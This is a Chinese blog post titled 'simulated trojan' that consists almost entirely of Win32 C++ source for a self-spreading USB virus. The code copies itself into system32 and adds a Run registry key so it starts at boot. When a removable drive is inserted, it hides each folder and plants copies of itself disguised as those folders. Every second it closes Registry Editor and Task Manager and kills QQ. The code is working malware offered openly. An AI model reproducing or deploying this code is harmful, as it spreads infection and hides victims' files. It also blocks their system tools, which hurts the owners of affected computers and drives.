• 模拟木马


      1 // Virus.cpp : 定义应用程序的入口点。
      2 //
      3 
      4 #include "stdafx.h"
      5 #include "Virus.h"
      6 #include <windows.h>
      7 #include <Dbt.h>
      8 #include <iostream>
      9 #include"io.h"
     10 #include "tlhelp32.h" 
     11 using namespace std;
     12 #define MAX_LOADSTRING 100
     13 
     14 
     15  
     16 
     17 void KillProcess(WCHAR* wzFilePath);
     18 // 全局变量:
     19 HINSTANCE hInst;                                // 当前实例
     20 TCHAR szTitle[MAX_LOADSTRING];                    // 标题栏文本
     21 TCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名
     22 
     23 // 此代码模块中包含的函数的前向声明:
     24 ATOM                MyRegisterClass(HINSTANCE hInstance);
     25 BOOL                InitInstance(HINSTANCE, int);
     26 LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
     27 INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
     28 
     29 int APIENTRY _tWinMain(HINSTANCE hInstance,
     30                      HINSTANCE hPrevInstance,
     31                      LPTSTR    lpCmdLine,
     32                      int       nCmdShow)
     33 {
     34     WNDCLASS wndclass;
     35     wndclass.cbClsExtra=0;
     36     wndclass.cbWndExtra=0;
     37     wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
     38     wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
     39     wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
     40     wndclass.hInstance=hInstance;
     41     wndclass.lpfnWndProc=WndProc;
     42     wndclass.lpszClassName=L"lieying";
     43     wndclass.lpszMenuName=NULL;
     44     wndclass.style=CS_VREDRAW|CS_HREDRAW;
     45 
     46     RegisterClass(&wndclass);             //注册窗口类
     47 
     48     HWND hwnd;
     49     hwnd=CreateWindow(L"lieying",L"",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
     50     //ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
     51     UpdateWindow(hwnd);
     52     MSG msg;
     53     while(GetMessage(&msg,hwnd,0,0))      //消息循环
     54     {
     55         TranslateMessage(&msg);
     56         DispatchMessage(&msg);
     57     }
     58     return (int) msg.wParam;
     59 }
     60 
     61 
     62 
     63 //
     64 //  函数: MyRegisterClass()
     65 //
     66 //  目的: 注册窗口类。
     67 //
     68 //  注释:
     69 //
     70 //    仅当希望
     71 //    此代码与添加到 Windows 95 中的“RegisterClassEx”
     72 //    函数之前的 Win32 系统兼容时,才需要此函数及其用法。调用此函数十分重要,
     73 //    这样应用程序就可以获得关联的
     74 //    “格式正确的”小图标。
     75 //
     76 ATOM MyRegisterClass(HINSTANCE hInstance)
     77 {
     78     WNDCLASSEX wcex;
     79 
     80     wcex.cbSize = sizeof(WNDCLASSEX);
     81 
     82     wcex.style            = CS_HREDRAW | CS_VREDRAW;
     83     wcex.lpfnWndProc    = WndProc;
     84     wcex.cbClsExtra        = 0;
     85     wcex.cbWndExtra        = 0;
     86     wcex.hInstance        = hInstance;
     87     wcex.hIcon            = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS));
     88     wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
     89     wcex.hbrBackground    = (HBRUSH)(COLOR_WINDOW+1);
     90     wcex.lpszMenuName    = MAKEINTRESOURCE(IDC_VIRUS);
     91     wcex.lpszClassName    = szWindowClass;
     92     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
     93 
     94     return RegisterClassEx(&wcex);
     95 }
     96 
     97 //
     98 //   函数: InitInstance(HINSTANCE, int)
     99 //
    100 //   目的: 保存实例句柄并创建主窗口
    101 //
    102 //   注释:
    103 //
    104 //        在此函数中,我们在全局变量中保存实例句柄并
    105 //        创建和显示主程序窗口。
    106 //
    107 BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    108 {
    109    HWND hWnd;
    110 
    111    hInst = hInstance; // 将实例句柄存储在全局变量中
    112 
    113    hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
    114       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
    115 
    116    if (!hWnd)
    117    {
    118       return FALSE;
    119    }
    120 
    121    ShowWindow(hWnd, nCmdShow);
    122    UpdateWindow(hWnd);
    123 
    124    return TRUE;
    125 }
    126 
    127 //
    128 //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
    129 //
    130 //  目的: 处理主窗口的消息。
    131 //
    132 //  WM_COMMAND    - 处理应用程序菜单
    133 //  WM_PAINT    - 绘制主窗口
    134 //  WM_DESTROY    - 发送退出消息并返回
    135 //
    136 //
    137 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    138 {
    139     int wmId, wmEvent;
    140     PAINTSTRUCT ps;
    141     HDC hdc;
    142 
    143     switch (message)
    144     {
    145     case WM_PAINT:
    146         {
    147             PAINTSTRUCT ps;
    148             BeginPaint(hWnd,&ps);
    149             EndPaint(hWnd,&ps);
    150             break;
    151         }
    152 
    153     case WM_CLOSE:
    154         {
    155             DestroyWindow(hWnd);
    156             break;
    157         }
    158 
    159     case WM_DESTROY:
    160         {
    161             PostQuitMessage(0);
    162             break;
    163         }
    164     case WM_CREATE:                                //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
    165         {
    166 
    167             SetTimer(hWnd,1,1000,NULL);           //设置定时器,每秒调用一次。
    168 
    169             //复制文件自身到系统目录
    170             TCHAR ExeFullPath[MAX_PATH];
    171             GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)
    172 
    173             TCHAR NewFilePath[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe";  //Copy到系统目录。。。。
    174             BOOL bret = CopyFile(ExeFullPath,NewFilePath,TRUE);  
    175             int a = GetLastError();
    176 
    177             //写注册表,实现开机运行。
    178             HKEY hkey;
    179             TCHAR keyvalue[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe";  
    180             TCHAR childkey[]=TEXT("Software\Microsoft\Windows\CurrentVersion\Run");
    181 
    182             RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
    183             RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,wcslen(keyvalue));
    184              a = GetLastError();
    185 
    186             RegCloseKey(hkey);
    187 
    188             break;
    189         }
    190     case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
    191         {
    192             if(lParam!=0)
    193             {
    194                 PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
    195                 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
    196                 {
    197                     if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
    198                     {
    199                         long i,j;
    200                         TCHAR buf[100];
    201                         TCHAR *cdbuf;
    202                         j=100;
    203                         i=GetLogicalDriveStrings(j,buf);
    204                         for(j=0;j<i;j+=4)
    205                         {
    206                             cdbuf=&buf[j];
    207                             if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
    208                             {
    209 
    210                                 TCHAR FileName[MAX_PATH];
    211                                 wcscpy(FileName,cdbuf);
    212                                 TCHAR f[MAX_PATH]=TEXT("\*.");
    213                                 wcscat(FileName,f);
    214                                 struct _wfinddata_t files;
    215                                 int File_Handle;
    216                                 int i=0;
    217                                 File_Handle = _wfindfirst(FileName,&files);              
    218                                 if(File_Handle==-1)
    219                                 {
    220                                     break;
    221                                 }
    222 
    223                                 do
    224                                 {
    225                                     TCHAR temp[MAX_PATH];
    226                                     wcscpy(temp,wcscat(cdbuf,L"\"));
    227                                     wcscat(cdbuf,files.name);
    228                                     //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
    229                                     SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //给目录添加隐藏,系统属性。
    230                                     CopyFile(L"C:\WINDOWS\system32\virus.exe",wcscat(cdbuf,L".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。
    231                                     i++;
    232                                     wcscpy(cdbuf,temp);
    233                                 }
    234                                 while(0==_wfindnext(File_Handle,&files));
    235                                 _findclose(File_Handle);
    236                                 //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
    237                             }
    238                         }
    239 
    240                     }
    241                 }
    242             }
    243 
    244         }
    245         break;
    246 
    247 
    248 
    249     case WM_TIMER:                                   //处理WM_TIMER消息
    250         {
    251             HWND hwReg=FindWindow(L"RegEdit_RegEdit",L"注册表编辑器");       //寻找注册表
    252             if(hwReg!=NULL)
    253             {
    254                 SendMessage(hwReg,WM_CLOSE,NULL,NULL);  
    255                 KillProcess(L"regedit.exe");//如果找到注册表,立即关闭
    256             }
    257 
    258             HWND hwTsk=FindWindow(L"#32770",L"Windows 任务管理器");          //寻找任务管理器
    259             if(hwTsk!=NULL)
    260             {
    261                 SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //如果找到任务管理器,立即关闭
    262             }
    263 
    264             HWND hwQQ=FindWindow(L"TXGuiFoundation",NULL);             //查找QQ
    265             if(hwQQ!=NULL)
    266             {
    267                 KillProcess(L"QQ.exe");  //杀死QQ进程,无论已经登陆QQ,还是正在登陆。。。。
    268             }
    269         }
    270         break;
    271 
    272 
    273 
    274     default:
    275         {
    276             return DefWindowProc(hWnd,message,wParam,lParam);
    277             break;
    278         }
    279     }
    280     return 0;
    281 }
    282 
    283 void KillProcess(WCHAR* wzFilePath)  //关闭QQ进程
    284 {  
    285     //   TODO:   Add   your   control   notification   handler   code   here  
    286     //   PROCESSENTRY32结构对象  
    287     PROCESSENTRY32 pe;  
    288     //   创建快照句柄
    289     pe.dwSize = sizeof(PROCESSENTRY32);  
    290     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    291 
    292 
    293     //   先搜索系统中第一个进程的信息  
    294     Process32First(hSnapshot, &pe);  
    295 
    296     TCHAR szFile[MAX_PATH];
    297     int p;  
    298 
    299 
    300     //   下面对系统中的所有进程进行枚举,  
    301     do{  
    302         lstrcpy(szFile, pe.szExeFile);
    303         p = lstrcmp(szFile, wzFilePath);
    304         if(0 == p)   //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程
    305         {
    306             HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   
    307 
    308 
    309             //先取得他  
    310             if(h)   
    311                 TerminateProcess(h, 0);  //关闭  
    312             //break;  
    313         }   
    314     }while(Process32Next(hSnapshot, &pe));
    315 
    316 
    317     //   关闭快照句柄  
    318     CloseHandle(hSnapshot);    
    319 }
    320 // “关于”框的消息处理程序。
    321 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
    322 {
    323     UNREFERENCED_PARAMETER(lParam);
    324     switch (message)
    325     {
    326     case WM_INITDIALOG:
    327         return (INT_PTR)TRUE;
    328 
    329     case WM_COMMAND:
    330         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
    331         {
    332             EndDialog(hDlg, LOWORD(wParam));
    333             return (INT_PTR)TRUE;
    334         }
    335         break;
    336     }
    337     return (INT_PTR)FALSE;
    338 }
    View Code

     http://blog.csdn.net/denghubu/article/details/5765921

    爱程序 不爱bug 爱生活 不爱黑眼圈 我和你们一样 我和你们不一样 我不是凡客 我要做geek
  • 相关阅读:
    Building a RESTful Web Service
    Proxy setting
    同步机制 note
    C++: Virtual Table and Shared Memory
    2018中国大学生程序设计竞赛
    2018 MUltiU 9 dp / 8 upper_bound ; 构造?/
    2018/8/10 部分枚举(类似尺取)
    2018/8/9 MultiU 6 并查集+dfs,反向建边提高查询效率 !!! / 最大字段和n维(降维)/ 状压+中途相遇法
    2018/7/29 cf 499 div 2(1011)
    2018/7/28 欧拉路径
  • 原文地址:https://www.cnblogs.com/yifi/p/5548383.html
Copyright © 2020-2023  润新知